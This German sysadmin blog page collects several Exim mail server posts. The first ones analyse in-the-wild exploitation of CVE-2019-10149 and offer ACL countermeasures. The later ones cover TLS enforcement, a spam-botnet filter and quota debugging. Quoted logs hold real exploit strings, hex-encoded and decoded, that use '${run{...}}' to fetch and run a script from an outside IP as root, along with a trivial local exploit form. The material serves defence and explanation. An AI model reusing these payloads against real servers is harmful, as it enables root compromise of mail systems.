Exim – Exploit in der Wildnis unterwegs

Vor ein paar Tagen ging ja die Exim Root-Schwachstelle durch alle IT-Portale. Wenn Ihr Euch an diesen Beitrag erinnern Exim < 4.92 mit CVE-2019-10149 mögt.Darin hatte ich u.a. auf das Problem und die Lösung hingewiesen.

Was passiert, wenn man nicht reagiert

Heute morgen erreichte die Exim-Mailingliste folgende E-Mail:

hi all,

My mail system has just been hacked; it’s running Debian unstable exim 4.91-9

Could it be CVE-2019-10149? I don’t see any reports of active exploits yet.

The reasons I suspect exim involvement:

• starting today, every 5 mins getting frozen messages:

The following address(es) have yet to be delivered:

root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dT\x2036\x20https\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldm1ip\x20\x2dO\x20\x2froot\x2f\x2efabyfmnp\x20\x26\x26\x20sh\x20\x2froot\x2f\x2efabyfmnp\x20\x2dn\x22\x20\x26}}@xxx: Too many „Received“ headers – suspected mail loop

• the trojan horse scripts, that were successfully installed on my system, with root access, are all group Debian-exim

Luckily, it looks like the trojans did nothing more than repeated attempts to open up my ssh server to root logins, which I think (and hope) didn’t actually work, so I may have been lucky, and the damage isn’t widespread.

ought I to be reporting this anywhere?

Darauf hin habe ich mal die Logs des Servers analysiert, für den ich den kleinen Patch geschrieben habe und seht, was ich dort fand :

2019-06-10 04:31:04 H=(xxxxxxxxxxxxxx.xx) [89.248.171.57] F=<> rejected RCPT <${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dt\x203\x20\x2dT\x2075\x20http\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldmxim\x20\x2dO\x20\x2froot\x2f\x2etuked\x20\x26\x26\x20sh\x20\x2froot\x2f\x2etuked\x20\x2dn\x22\x20\x26}}@xxxxxxxxxxxxxx.xx>: Restricted characters in address
2019-06-10 04:31:04 H=(xxxxxxxxxxxxxx.xx) [89.248.171.57] F=<> rejected RCPT <${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dt\x203\x20\x2dT\x2075\x20http\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldmxim\x20\x2dO\x20\x2froot\x2f\x2ekqvuhtpi\x20\x26\x26\x20sh\x20\x2froot\x2f\x2ekqvuhtpi\x20\x2dn\x22\x20\x26}}@xxxxxxxxxxxxxx.xx>: Restricted characters in address
… und noch ein paar mehr davon …

Ja, sie es versucht, der Exploit ist folglich in der Wildnis unterwegs.

Exploit ist am Werk

Wer jetzt nicht seinen anfälligen Exim wie in Exim < 4.92 mit cve-2019-10149 beschrieben patched oder auf einen neueren Exim updated, der gehört bestraft und wie man oben sieht, wird er das auch.

Schauen wir uns mal an, was da passieren sollte:

${run{/bin/bash -c „wget –no-check-certificate -t 3 -T 75 http://185.162.235.211/ldmxim -O /root/.tuked && sh /root/.tuked -n“ &}

Hier wird also ein in Russland gehostedes Script per wget mit Rootrechten heruntergeladen und ausgeführt. Naja, es „sollte“ ausgeführt werden. Hat ja nicht geklappt, weil der Eximpatch das verhindert hat.

Bei dem gehackten Debianserver kam eine leicht geänderte Anweisung zum Einsatz:

${run{/bin/bash -c „wget –no-check-certificate -T 36 https://185.162.235.211/ldm1ip -O /root/.fabyfmnp && sh /root/.fabyfmnp -n“ &}}

von der selben Gruppe offensichtlich wie bei dem von mir betreuten Server, aber mit einem zufälligen Dateinamen. Ich tippe mal darauf, daß es damit Firewalls schwieriger gemacht werden soll, diese Anweisung gleich zu filtern. Als Firewallregelschreiber würde ich auf „${run“ filtern, aber ok, das ist ja nur meine Meinung :DD

-t meint übrigens retries. Da hat wohl jemand bemerkt, daß er zu viele anfällige Server gleichzeitig attackiert hat und sein Webdienst überlastet war 😀 Auch das größere Timeout mit -T 75 spricht dafür, daß das Ziel wohl schlecht zu erreichen war. Da muß man dann mal  kreativ werden 😉

Update 16:38 Uhr

So langsam kommen die Hackberichte rein. Zimbra scheint von dem EXIM CVE  betroffen zu sein:

https://forums.zimbra.org/viewtopic.php?t=65932&start=120#p290739

Nach dem ich das gelesen habe, kommt bei denen keiner auf Idee den Server durch Reinstallation zu entseuchen? Deren Crontab scheint ihnen dagegen sehr wichtig zu sein.

Update 17:00 Uhr

Die CPanel Supporter haben doch glatt für alte, gar nicht mehr maintainte Versionen ein Update rausgebracht.

Exim CVE-2019-10149, how to protect yourself

Leider ist es natürlich falsch zu behaupten, es gibt keine Gegenmaßnahmen, denn die stehen ja hier oben wirkungsvoll demonstriert zur Verfügung 🙂

Update 17:06 Uhr

Hier gibt es am Ende eine schöne Liste über die Verteilung der Exim Versionen:

Critical Exim flaw exploitable locally and remotely, patch ASAP!

Sehr aufschlussreich, hätte ich gar nicht gedacht.

Exim < 4.92 mit CVE-2019-10149

Jetzt muß ich es Euch doch erzählen, wo ich doch dachte, es dauert noch länger bis die Katze aus dem Sack ist. Ok, Exim < 4.92 hat eine schwerwiegende Sicherheitslücke, die man auch noch trivial ausnutzen kann: CVE-2019-10149

Um die Schwachstelle wurde viel Wirbel gemacht, dummerweise bekam bislang niemand die Zähne auseinander, ob man das auch ohne Update abwehren kann. Schauen wir uns mal an worum es überhaupt geht.

Was ist der triviale Exploit?

Es reicht, wenn man als lokaler Angreifer eine Email mit dem Sendmailersatz von Exim an „<${run{bash}}@zieldomain.de>“ sendet. Im Augenblick wo die zugestellt wird, wird der eingebettete Befehle (hier bash) als Root ausgeführt.

Das ganze kann man ggf. auch per Remote ausführen, so daß es eine richtig fiese Schwachstelle ist. Betroffen sind aber nur Versionen  > 4.87 < 4.92 . Dazu müssen aber diverse Dinge in der Config erlaubt sein, was in der Defaultkonfig nur teilweise der Fall ist. z.b. kann man keine „/“ in dem Befehl unterbringen, weil das unerlaubte Zeichen sind. Das schränkt den Angreifer natürlich stark sein.

Da selbst auf der Eximliste bis heute viel Geheimniskrämerrei im Spiel war, hier die ebenso triviale Gegenmaßnahmen:

Gegenmaßnamen

Einfach kein „$“ in Emailadressen erlauben 😀 Das war es. Da fiel mir nur ARGS zu ein 😀

Das hier kommt in Eure Exim Konfiguration rein, dann Exim neu starten:

acl_check_rcpt:

deny message = Restricted characters in address
domains = +local_domains
local_parts = ^[.] : ^.*[\$@%!/|]

deny message = Restricted characters in address
domains = !+local_domains
local_parts = ^[./|] : ^.*[\$@%!] : ^.*/\\.\\./

….

acl_check_mail:

drop message = Restricted characters in address
condition = ${if match{$sender_address}{\N.*\$.*run.*\N}{1}{0}}

# WICHTIG: Vor dieser Anweisung reinschreiben, sonst Essig!

accept hosts = +relay_from_hosts

Das würgt den Angreifer ab, bevor die Email zugestellt wird.

Die bessere Gegenmaßnahme wäre natürlich auf einen aktuelleren Exim umzusteigen. Aber wie das so ist, es gibt halt immer „Gründe“ warum und wieso was nicht aktualisiert werden kann.

Keiner bekommt die Zähne auseinander…

Was mich am allermeisten an der Lücke nervt ist, daß diese billige Gegenmaßnahme im Advisory von Qualys und in den Hinweisen vom Exim Team nicht vorkommen. Bei den Exim Leuten kann ich es noch verstehen, weil die den Bug selbstständig schon Anfang des Jahres gefixt hatten und halt mit Recht sagen können: Mach halt Updates.

Bei Qualyssieht anders aus, die schreiben :

As per the distros list policy:

Below is an abridged version of our advisory (with all the vulnerability
details, but without exploitation details); we will publish the complete
version in 24 hours, or as soon as third-party exploits are published,
whichever happens first.

We believe that it makes no sense to delay this any longer than that:
this vulnerability is trivially exploitable in the local and non-default
cases (attackers will have working exploits before that, public or not);
and in the default case, a remote attack takes a long time to succeed
(to the best of our knowledge).

Schön das Ihr den Exploit weggelassen habt, wie wär es mal mit dem Workaround, so das die guten Jungs einen kleinen Vorsprung haben?  Und dieser kryptische Hinweis „a remote attack takes a long time to succeed“ meint übrigens, das man seinen Exim mal alle 24h neu starten sollte, weil es da wohl irgend einen Scheiß mit „Teergruben“ gibt.

Das sind i.d.R. Spamfallen, die so langsam antworten, daß der Angriff des Angreifers einfach zäh wie in einer Teergrube abläuft, bis hin zu „gar nicht voran kommt“. So was in der Art nutzen die Angreifer hier aus. Daher einmal im Cron „killall -9 exim; systemctl restart exim“ per Cron: Fertig.

TLS 1.3 am Horizont gesichtet

Seit  dem 15. Januar gibt es openssl1.1.1a für Fedora 29 und Fedora 30 und damit die neue TLS 1.3 Version. Leider bleibt Fedora 28 auf der Strecke, da der Maintainer bei Red Hat keine Lust hat, es auf Fedora 28 zu kompilieren, auch wenn .. Zitat: „nur triviale Anpassungen am Securitypolicyblock nötig wären“.

Das kann ich so natürlich nicht hinnehmen 😀

Wir brauchen :

Einen Exim 4.91 Mailserver und folgende Koji Paketevon Fedora 29 :

-rw-r–r– 1 root root 46760 26. Okt 11:46 crypto-policies-20181026-1.gitd42aaa6.fc29.noarch.rpm
-rw-r–r– 1 root root 625824 15. Jan 15:43 openssl-1.1.1a-1.fc29.x86_64.rpm
-rw-r–r– 1 root root 1395348 15. Jan 15:43 openssl-libs-1.1.1a-1.fc29.x86_64.rpm

dann „dnf update ./*fc29*rpm“  und den Exim danach neustarten und …

[000.099]Connected to server
[000.201]<–220 s113.resellerdesktop.de ESMTP Exim 4.91 Mon, 28 Jan 2019 22:49:51 +0100
[000.201]We are allowed to connect
[000.201] –>EHLO www6.CheckTLS.com
[000.299]<–250-s113.resellerdesktop.de Hello www6.checktls.com [159.89.187.50]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-AUTH PLAIN LOGIN
250-CHUNKING
250-STARTTLS
250 HELP
[000.300]We can use this server
[000.300]TLS is an option on this server
[000.300] –>STARTTLS
[000.425]<–220 TLS go ahead
[000.425]STARTTLS command works on this server
[000.557]Connection converted to SSL
SSLVersion in use: TLSv1_3
Cipher in use: TLS_AES_256_GCM_SHA384
Certificate 1 of 3 in chain: Cert VALIDATED: ok
Cert Hostname VERIFIED (s113.resellerdesktop.de = s113.resellerdesktop.de | DNS:gesperrt.s113.resellerdesktop.de | DNS:mailpwd.s113.resellerdesktop.de | DNS:pma.s113.resellerdesktop.de | DNS:s113.resellerdesktop.de | DNS:webmail.s113.resellerdesktop.de | DNS:www.s113.resellerdesktop.de)
cert not revoked by CRL
cert not revoked by OCSP
serialNumber=03:06:78:2c:10:74:ad:f3:10:91:27:d2:92:a5:a1:8b:81:38
subject= /CN=s113.resellerdesktop.de
issuer= /C=US/O=Let’s Encrypt/CN=Let’s Encrypt Authority X3

Wenn es doch immer nur so einfach wäre 😉

Koji Pakete gibt es hier:

https://koji.fedoraproject.org/koji/packages?start=400&order=package_name&prefix=o&inherited=1

Exim – Wie man TLS erzwingt II

Im letzten Beitrag Exim – Wie man TLS erzwingt war das Blockieren von ausgehenden Verbindungen ohne TLS Thema. Heute befassen wir uns mit dem Gegenteil : Wie verhindern wir, daß wir eine Email bekommen, die unsicher übertragen wurde?

Exim ’s Access Control Lists

Exim als Mailserver erlaubt es uns, in jede Phase der Übertragung von Emails per SMTP einzugreifen und Emails aufgrund von Mustern und Bedingungen abzulehnen. Die ACL genannten Bedingungsketten sind universell einsetzbar, hier ein Beispiel:

acl_check_helo:

drop condition = ${if eq{$sender_helo_name}{ylmf-pc} {1}}
     message = Your a naugthy boy

accept

Die Helo-ACL prüft ob, sich der anfragende Mailserver mit einem bestimmten Namenskürzel meldet, hier „ylmf-pc„. Das ist so ziemlich todsicher ein Bot aus einem asiatischen Netzwerk. Zur Erklärung :

drop ist das Ziel der Aktion, wenn die condition greift. Hier der Vergleich (if eq) von dem was der „Client“ gesendet hat und dem ylmf-pc Text. Übersetzt heißt das : if ( „sender_helo_name“  == „ylmf-pc“ )  { log.message = „Your a naugthy boy“; message.drop(); }

So sieht das dann im SMTP aus :

220 irgendeinserver.de ESMTP Exim 4.89 Sun, 03 Dec 2017 14:33:48 +0100
HELO ylmf-pc
550 Your a naugthy boy

Ansonsten akzeptiere ( accept ) die Email. Natürlich könnte man hier auch schon DNS IP Blacklisten eintragen, oder andere Abfragen, die keinen Empfänger / Sender benötigen. Die meisten ACls werden aber genau bei der Sender- und Empfängerprüfung eingesetzt. Genau das werden wir in der ACL acl_check_rcpt tun.

Zum Glück sind die nötigen Anweisungen extrem übersichtlich :

acl_check_rcpt:
 ...
 deny condition = ${if eq{$tls_cipher}{}{1}{0}}
      message   = Sender did not use TLS secured connection.

Meint:

If ( tls_cipher ==  „“ ) { log.message = „Sender did not use TLS secured connection. „; message.deny() }

Das war es schon. Damit kommen nur noch Emails weiter, die über eine TLS gesicherte Verbindung gesendet werden. Ob das Spam ist oder nicht, muß man natürlich trotzdem prüfen, wenn die Mail erst einmal übertragen wurde.

Analyse

Da erst einmal nur der Empfänger in der SMTP Phase genannt wurde, ist der Inhalt der Email noch aus dem sendenen Server, denn der wird erst mit dem DATA Block übertragen. In die HELO ACL kann man das nicht einbauen, da SMTP verlangt, daß ein netter Server erstmal HELO  oder EHLO sagt, bevor er weiter macht.

Die übliche SMTP-Befehlsreihenfolge dürfte daher :

HELO
STARTTLS
MAIL FROM:
RCPT TO:
DATA

sein. Man kann es natürlich auch bereits in der mail_from ACL machen, ob das einen großen Unterschied machen wird, ist fraglich.

 

Exim – Wie man TLS erzwingt

Exim ist einer der vielseitigsten Mailserver die man auf einem Server haben kann, fast Nichts ist unmöglich. In einer Zeit, in der immer mehr abgehört wird und die Kommunikation von Personen, Firmen und Behörden geschützt werden muß, finden sich immer noch Mailserver, die kein TLS sprechen.

Mailtransportverschlüsselung

TLS wurde vor fast 19 Jahren per RFC als Nachfolger von SSL geboren und hat dies erfolgreich abgelöst. Sollte man jedenfalls meinen. Tatsächlich habe ich erst heute eine Rechnung von 1und1 bekommen, ja, Name & Shame in progress, die mit einem gebrochenen TLS 1.0 aka. „SSLv3 modified“ übertragen wurde :

H=mbulk.1and1.com [212.227.126.220] P=esmtps X=TLSv1:DHE-RSA-AES256-SHA:256

Da unser Server TLS1.2 spricht und anbietet, kann man von einem Konfigurationsfehler ausgehen. Wenigsten wurde hier TLS gesprochen. Andere Mailserver können nicht mal SSL, die senden und empfangen unverschlüsselt, nicht wahr liebe Admins von faller.de 😉

Wie man TLS erzwingt

Im letzteren Fall kann man Exim dazu bewegen, daß er keine Emails ohne TLS sendet. Damit kann verhindert werden, daß Geheimnisse abgehört werden können. Exim ist von Haus aus mit den nötigen Funktionen ausgestattet und daher extrem leicht dafür zu begeistern 🙂

Der in praktisch jeder Eximconfig vorkommende Transporttreiber „remote_smtp“ muß nur um zwei Befehle erweitert werden:

remote_smtp:
 driver = smtp
 hosts_require_tls = *
 tls_tempfail_tryclear = false

Das zwingt Exim dazu, ohne TLS Verbindung abzubrechen und auf keinen Fall auf Klartext zurückzufallen. Das wäre ja auch selten dämlich, oder ? Tja, wie sich herausstellte, ist sich immer einer in der Welt nicht zu blöd, genau das zu machen 😀 Mein Name & Shame Beispiel für diesen Fail, hat sich allerdings bekehren lassen und sendet jetzt vorbildlich in TLSv1.2 \o/

Der ewige Optimist Exim

Exim sieht einen Fail beim TLS leider als temporären Fehler an. Er geht also davon aus, daß der empfangende Mailserver irgendwann in der Retryzeit seine Meinung ändert 😀 Aus Erfahrung kann ich sagen, nein, tun die empfangenden Mailserver nicht 🙂

Daher müssen wir die Retryzeit für diesen Fall auf 0 setzen, so daß sofort eine Delivery Message erzeugt wird.  Das erledigen wir so :

begin retry

*          refused
*           quota
*        tls_required
*             *         F,2h,15m; G,16h,1h,1.5; F,4d,6h

Das war es bis auf einen kleinen Schönheitsfehler schon: die Delivery Message macht für den Leser derselben keinen Sinn, da ein falscher Fehlergrund ausgegeben wird, aber das ist Euer Problem 😉

 

Das Anastasia Botnetz

Spams gibt ja immer und meisten steckt heute ein Botnetz dahinter. Das Netzwerk, das unsere Mailserver derzeit am meisten nervt, ist das von mir so genannte Anastasia Botnetz.

Es ist allerdings leicht am Absender zu identifizieren, der immer das Wort Anastasia am Anfang hat:

2017-08-02 01:44:59 H=(ip-38-239.tricom.net) [186.150.38.239] rejected MAIL <Anastasiabj@tricom.net>: identified as Anatasia Botnet
2017-08-02 01:45:43 H=(ocit-41.189.55.239.aviso.ci) [41.207.201.171] rejected MAIL <Anastasiafab@aviso.ci>: identified as Anatasia Botnet
2017-08-02 01:45:46 H=([115.164.85.255]) [115.164.85.255] rejected MAIL <Anastasiabcbr@puretechnutrition.com>: identified as Anatasia Botnet
2017-08-02 01:47:05 H=([51.36.222.115]) [51.36.222.115] rejected MAIL <Anastasiacoe@incco.com.gt>: identified as Anatasia Botnet
2017-08-02 01:47:27 H=(131-108-125-254.infortek.net.br) [131.108.125.254] rejected MAIL <Anastasiarcae@infortek.net.br>: identified as Anatasia Botnet
2017-08-02 01:47:32 H=160.red-81-39-134.dynamicip.rima-tde.net [81.39.134.160] rejected MAIL <Anastasiaxte@woburnapartments.co.nz>: identified as Anatasia Botnet
2017-08-02 01:47:54 H=([161.132.100.51]) [161.132.100.51] rejected MAIL <Anastasiamm@rhinohandyman.com>: identified as Anatasia Botnet
2017-08-02 01:48:56 H=([186.235.188.234]) [186.235.188.234] rejected MAIL <Anastasiacljgf@pedicur.ru>: identified as Anatasia Botnet
2017-08-02 01:49:06 H=([202.90.136.58]) [202.90.136.58] rejected MAIL <Anastasiaxw@directiva.com.br>: identified as Anatasia Botnet
2017-08-02 01:49:44 H=([175.101.251.27]) [175.101.251.27] rejected MAIL <Anastasiadihu@it-is-it.com>: identified as Anatasia Botnet
2017-08-02 01:50:25 H=(host-177-232-80-119.static.metrored.net.mx) [177.232.80.119] rejected MAIL <Anastasiaazy@metrored.net.mx>: identified as Anatasia Botnet
2017-08-02 01:50:31 H=([27.123.171.127]) [27.123.171.127] rejected MAIL <Anastasiabviyu@hrcbmdfw.org>: identified as Anatasia Botnet
2017-08-02 01:50:32 H=85.233.11.37.dynamic.jazztel.es [37.11.233.85] rejected MAIL <Anastasiayurg@jazztel.es>: identified as Anatasia Botnet
2017-08-02 01:51:18 H=(static.vnpt.vn) [113.161.8.21] rejected MAIL <Anastasiafir@static.vnpt.vn>: identified as Anatasia Botnet
2017-08-02 01:52:20 H=fixed-187-189-92-55.totalplay.net [187.189.92.55] rejected MAIL <Anastasiahw@fixed-187-189-92-55.totalplay.net>: identified as Anatasia Botnet
2017-08-02 01:52:26 H=(static.vnpt.vn) [14.183.242.229] rejected MAIL <Anastasiaud@static.vnpt.vn>: identified as Anatasia Botnet
2017-08-02 01:52:34 H=(static-ip-cr18152012787.cable.net.co) [181.52.127.87] rejected MAIL <Anastasiaxcs@cable.net.co>: identified as Anatasia Botnet
2017-08-02 01:53:09 H=(host-177-232-87-110.static.metrored.net.mx) [177.232.87.110] rejected MAIL <Anastasiarclg@metrored.net.mx>: identified as Anatasia Botnet
2017-08-02 01:53:20 H=red.connectbd.com [202.79.16.10] rejected MAIL <Anastasiavpuup@red.connectbd.com>: identified as Anatasia Botnet
2017-08-02 01:53:42 H=([161.132.100.51]) [161.132.100.51] rejected MAIL <Anastasiaualik@grouptower.com>: identified as Anatasia Botnet
2017-08-02 01:54:30 H=([123.23.241.122]) [123.23.241.122] rejected MAIL <Anastasianwz@ubsystems.com>: identified as Anatasia Botnet
2017-08-02 01:55:05 H=(187.253.122.253.cable.dyn.cableonline.com.mx) [187.253.122.253] rejected MAIL <Anastasiadabgp@cableonline.com.mx>: identified as Anatasia Botnet
2017-08-02 01:57:59 H=(static.vdc.com.vn) [113.190.40.226] rejected MAIL <Anastasiailk@vdc.com.vn>: identified as Anatasia Botnet
2017-08-02 01:58:21 H=([191.99.126.26]) [191.99.126.26] rejected MAIL <Anastasiafsg@zarlock.com>: identified as Anatasia Botnet
2017-08-02 01:59:32 H=([41.216.32.42]) [41.216.32.42] rejected MAIL <Anastasiaecous@vertexconsultancy.co.in>: identified as Anatasia Botnet
2017-08-02 01:59:42 H=(181-174-59-224.telebucaramanga.net.co) [181.174.59.224] rejected MAIL <Anastasiajinv@simtecno.com.br>: identified as Anatasia Botnet
2017-08-02 02:00:19 H=([31.145.75.194]) [31.145.75.194] rejected MAIL <Anastasiaonl@juste.com.tw>: identified as Anatasia Botnet

Das dies nur ein kleiner Ausschnitt von nur einer einzigen Maschine ist, deutet das Ausmaß des Botnetzes an.

Für alle die einen EXIM Mailserver betreiben, hier die Regel um die Spams gezielt auszufiltern:

acl_check_mail:

# Hosts are required to say HELO (or EHLO) before sending mail.
...
drop message = identified as Anastasia Botnet
     condition = ${if match{$sender_address}{\N^Anastasia.*\N}{1}{0}}

Natürlich ist die Regel sehr grob, auch eine echte Anastasia.Kulikovwa@mail.ru würde ausgefiltert werden, aber im Gegensatz zu zum Botnetz, könnte die Dame zum Telefon greifen und einfach anrufen, daß die Mails nicht ankommen. Davon abgesehen sind 0.01% falsche Treffer eine echt gute Quote, mit der ich persönlich leben kann 🙂

Selbstverständlich könnte man die Regeln entsprechend verfeinern:

 condition = ${if match{$sender_address}{\N^Anastasia.{2,5}@.*\N}{1}{0}}

Diese Anpassung entspricht dem Muster, daß nach Anastasia noch bis zu 5 zufällige Zeichen kommen vor dem @.

Da es ähnliche Regelsätze für andere Mailserver gibt, könnt Ihr da natürlich jetzt Eure eigenen Anpassungen machen.

Lets Encrypt: Zertifikatsprobleme auf iOS Geräten

Seit Dezember 2015 stellt Lets Encrypt kostenlose Zertifikate zur Verfügung. Damit kann man Webseiten und Mailserver schützen, wenn da nicht die liebe Realität in Form von iOS wäre.

Bei unserem hausinternen Versuch, die Mailserver von einem kommerziellen Comodozertifikat auf Lets Encrypt umzustellen, was für Webseiten überhaupt kein Problem war, stellte sich raus, das sofort alle iOS Endgeräte, egal ob iPhone 5,6,7 oder iOS 9,10 keine Emails mehr empfangen konnten. Entäuschenderweise war auch Thunderbird betroffen 🙁

Daraufhin haben wir auf ein Comodozertifikat umgestellt und die Lage beruhigte sich, bis einige iOS Geräte anfinden, nur noch Emails zu senden, aber keine mehr zu empfangen. Wohlgemerkt, mit dem gleichen SSL-Zertifikat 😉

Nach derzeitigen Erkenntnissen seitens Comodo und unseren Technikern, liegt das Problem beim iOS Gerät selbst. Mal sehen was Apple dazu meint.

Auflösung: Mail.APP ist buggy, denn jedes andere installierte Emailprogramm auf einem betroffenen IPhone hat das Zertifikat einwandfrei akzeptiert. Aber der Witz kommt jetzt, dem Kunden hat das neue Mailprogramm „My Mail“  viel besser gefallen als die original App 😀

 

Exim: höhere Quota durch Hardlinks

Was man üblicherweise auf einem Mailserver nicht sieht, sind Hardlinks in einem IMAP Postfach. Neulich hatten wir einen Fall, bei dem ein Postfach nicht mehr mit Emails bestückt werden konnte, da angeblich die Quota überschritten war. Der Quota Befehl bzw. die Diskusage zeigten aber noch mehr als genug Platz an um Emails zu speichern. Eine lange Debugsession mit dem Mailserver später zeigte sich dies Bild:

# ls -la
insgesamt 41284
drwx------  2 51703 exim    53248 25. Nov 13:57 .
drwx------ 33 51703 exim     4096 26. Nov 22:38 ..
-rw-------  2 51703 exim     4688 28. Jul 14:27 1406550448.H508202P31298.testmailsystem.de:2,STac
-rw-------  1 51703 exim     6228 28. Jul 14:29 1406550593.H760899P1075.testmailsystem.de:2,STac
-rw-------  2 51703 exim     7124 28. Jul 14:30 1406550644.H440184P3285.testmailsystem.de:2,STac
-rw-------  1 51703 exim    23883 28. Jul 23:57 1406584630.H262931P23098.testmailsystem.de:2,STac
-rw-------  1 51703 exim    38557 28. Jul 23:57 1406584630.H262971P23108.testmailsystem.de:2,STac
-rw-------  1 51703 exim    10399 31. Jul 21:16 1406834208.H555417P7976.testmailsystem.de:2,STac
-rw-------  1 51703 exim     4753  6. Aug 14:00 1407326454.H100216P15143.testmailsystem.de:2,STac
-rw-------  1 51703 exim     8542  6. Aug 17:05 1407337554.H866124P23519.testmailsystem.de:2,ST
-rw-------  1 51703 exim     5139  7. Aug 03:19 1407374382.H660749P16291.testmailsystem.de:2,ST
-rw-------  2 51703 exim  7709636  7. Aug 09:17 1407395874.H306908P12145.testmailsystem.de:2,ST
-rw-------  1 51703 exim    19706  7. Aug 17:20 1407424830.H721569P4216.testmailsystem.de:2,ST
-rw-------  2 51703 exim    28758  8. Aug 03:16 1407460589.H96348P29141.testmailsystem.de:2,ST
-rw-------  1 51703 exim    19287  8. Aug 05:09 1407467371.H994402P28663.testmailsystem.de:2,ST
-rw-------  2 51703 exim   163906 10. Aug 11:59 1407664747.H312607P5781.testmailsystem.de:2,ST
-rw-------  1 51703 exim   145859 12. Aug 08:32 1407825143.H875343P15843.testmailsystem.de:2,ST
-rw-------  1 51703 exim     2883 12. Aug 17:52 1407858759.H268291P26980.testmailsystem.de:2,ST
-rw-------  1 51703 exim    15142 12. Aug 23:31 1407879079.H54240P1692.testmailsystem.de:2,ST
-rw-------  1 51703 exim   169634 13. Aug 12:33 1407926019.H343973P20662.testmailsystem.de:2,ST
-rw-------  1 51703 exim  1811494 13. Aug 12:33 1407926030.H129470P20750.testmailsystem.de:2,ST
-rw-------  1 51703 exim    14314  1. Sep 16:43 1409582634.H655301P27301.testmailsystem.de:2,STac
-rw-------  2 51703 exim     6615  1. Sep 16:48 1409582889.H200965P32252.testmailsystem.de:2,STac
-rw-------  1 51703 exim    81891  1. Sep 16:59 1409583555.H494207P11319.testmailsystem.de:2,RSTac
-rw-------  1 51703 exim     5922  2. Sep 09:59 1409644784.H204618P17282.testmailsystem.de:2,STac
-rw-------  1 51703 exim     3205  2. Sep 10:29 1409646565.H14176P17846.testmailsystem.de:2,STac
-rw-------  2 51703 exim    69525  2. Sep 14:13 1409659986.H860359P18194.testmailsystem.de:2,STac
-rw-------  2 51703 exim  2797748  2. Sep 14:22 1409660562.H502395P27754.testmailsystem.de:2,STac
-rw-------  1 51703 exim     3469  2. Sep 16:03 1409666611.H110966P30774.testmailsystem.de:2,STac
-rw-------  1 51703 exim     6171  2. Sep 17:17 1409671020.H386583P8312.testmailsystem.de:2,STac
-rw-------  2 51703 exim   249270  2. Sep 18:04 1409673850.H25221P18140.testmailsystem.de:2,STac
-rw-------  2 51703 exim   249310  2. Sep 18:27 1409675249.H305576P6080.testmailsystem.de:2,STac
-rw-------  2 51703 exim     2879  3. Sep 16:56 1409756208.H521320P17256.testmailsystem.de:2,STac
-rw-------  1 51703 exim   716982  5. Sep 10:51 1409907100.H303636P30461.testmailsystem.de:2,STac
-rw-------  1 51703 exim    24992  5. Sep 10:52 1409907143.H139290P30872.testmailsystem.de:2,STac
-rw-------  1 51703 exim    28603  5. Sep 22:07 1409947669.H441637P29243.testmailsystem.de:2,STac
-rw-------  2 51703 exim    35686  5. Sep 22:07 1409947672.H347460P29280.testmailsystem.de:2,STac
-rw-------  1 51703 exim    38421  7. Sep 15:03 1410094984.H95975P6942.testmailsystem.de:2,STac
-rw-------  1 51703 exim    35049  7. Sep 17:30 1410103800.H638453P11898.testmailsystem.de:2,STac
-rw-------  1 51703 exim    25767  8. Sep 04:56 1410144975.H59307P22155.testmailsystem.de:2,STac
-rw-------  1 51703 exim    24440  8. Sep 19:16 1410196570.H600494P20981.testmailsystem.de:2,STac
-rw-------  2 51703 exim   269397  9. Sep 09:46 1410248803.H891098P16172.testmailsystem.de:2,ST
-rw-------  1 51703 exim     3102  9. Sep 13:27 1410262028.H932995P19527.testmailsystem.de:2,ST
-rw-------  1 51703 exim    18995  9. Sep 18:37 1410280675.H406778P10307.testmailsystem.de:2,ST
-rw-------  1 51703 exim    85418 10. Sep 04:02 1410314549.H547715P6092.testmailsystem.de:2,ST
-rw-------  1 51703 exim     5174 10. Sep 16:00 1410357617.H134775P24247.testmailsystem.de:2,STac
-rw-------  2 51703 exim    13042 11. Sep 13:11 1410433911.H351692P31331.testmailsystem.de:2,STac
-rw-------  1 51703 exim    26742 17. Okt 00:20 1413498059.H680439P25291.testmailsystem.de:2,Sac
-rw-------  2 51703 exim   557174 30. Okt 10:16 1414660560.H183389P11356.testmailsystem.de:2,STac
-rw-------  1 51703 exim    23529 11. Nov 20:21 1415733677.H442593P8240.testmailsystem.de:2,STac
-rw-------  1 51703 exim    29774 11. Nov 20:34 1415734451.H994279P18947.testmailsystem.de:2,STac

Die erste Überraschung war die farbliche Hervorhebung der Files, was normalerweise nur für Executeables gemacht wird. Zum Glück muß man sagen, wurde das farblich markiert, denn sonst wäre die 2 vor der Userid nicht aufgefallen.

Beim ls Befehl steht in der Spalte üblicherweise die Anzahl der Verzeichnisse in diesem Directoryeintrag, da es sich aber um Files handelt, mußte es etwas anderes sein: Hardlinks.

Ein Hardlink ist nichts weiter als ein zweiter Eintrag auf die gleiche Inode (Block im Filesystem) und durchaus eine normale Sache in einem Linuxfilesystem, also kein Bug. Es bedeutet, daß es (in unserem Fall) zwei Einträge gibt, welche die gleiche Inode referenzieren, also quasi eine Datei die es doppelt gibt.

Der Exim zählt die Dateien aber einzeln, was dann zur Abweichung mit der eingestellten Quota führt.

Um sich die Inodes anzeigen zu lassen, muß man ls mit dem Argument -i aufrufen. Beispiel: ls -ila

 5913370 -rw------- 1 51703 exim 5174 10. Sep 16:00 1410357617.H134775P24247.testmailsystem.de:2,STac
 5904472 -rw------- 2 51703 exim 13042 11. Sep 13:11 1410433911.H351692P31331.testmailsystem.de:2,STacDie erste Zeile ist ok, vorne ist die INODE der Datei.

Wenn man jetzt mit find die Inode sucht, erhält man diese zwei Files :

# find /mailacct/mailbenutzer/ -inum 5904472 -print
/mailacct/mailbenutzer/Maildir/cur/1410433911.H351692P31331.testmailsystem.de:2,STac
/mailacct/mailbenutzer/Maildir/.privat 2014/cur/1415952178.M141844P8647.testmailsystem.de,S=13042,W=13341:2,Sab

